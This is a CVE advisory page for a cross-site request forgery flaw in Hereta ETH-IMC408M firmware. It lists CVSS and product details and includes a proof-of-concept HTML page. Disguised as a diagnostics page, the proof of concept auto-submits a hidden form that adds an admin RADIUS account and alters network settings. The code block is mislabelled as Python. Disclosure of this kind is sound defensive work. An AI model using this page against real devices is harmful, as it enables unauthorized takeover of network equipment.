CVE-2026-29521

Description

Hereta ETH-IMC408M firmware version 1.0.15 and prior contain a cross-site request forgery vulnerability that allows attackers to modify device configuration by exploiting missing CSRF protections in setup.cgi. Attackers can host malicious pages that submit forged requests using automatically-included HTTP Basic Authentication credentials to add RADIUS accounts, alter network settings, or trigger diagnostics.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:o:hereta:eth-imc408m_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:hereta:eth-imc408m:-:*:*:*:*:*:*:* - NOT VULNERABLE

Hereta ETH-IMC408M 固件 <= 1.0.15

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2026-29521 - Hereta ETH-IMC408M setup.cgi -->
<!DOCTYPE html>
<html>
<head>
    <title>Device Diagnostics</title>
</head>
<body>
    <h1>Loading device diagnostics...</h1>
    <form id="csrfForm" action="http://<device-ip>/setup.cgi" method="POST" enctype="application/x-www-form-urlencoded">
        <!-- Add RADIUS account -->
        <input type="hidden" name="action" value="add_radius">
        <input type="hidden" name="username" value="attacker">
        <input type="hidden" name="password" value="evilpass123">
        <input type="hidden" name="privilege" value="admin">
        
        <!-- Modify network settings -->
        <input type="hidden" name="network_action" value="modify">
        <input type="hidden" name="gateway" value="192.168.1.1">
        <input type="hidden" name="dns" value="8.8.8.8">
        
        <!-- Trigger diagnostics -->
        <input type="hidden" name="diagnostic" value="run">
    </form>
    
    <script>
        // Auto-submit form on page load
        document.getElementById('csrfForm').submit();
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-29521
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-29521
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-29521/
[4] VulDB https://vuldb.com/cve/CVE-2026-29521
[5] https://web.archive.org/web/20250820105319/http://hereta.com/
[6] https://www.vulncheck.com/advisories/hereta-eth-imc408m-csrf-via-configuration-setup

Raw JSON Data

JSON

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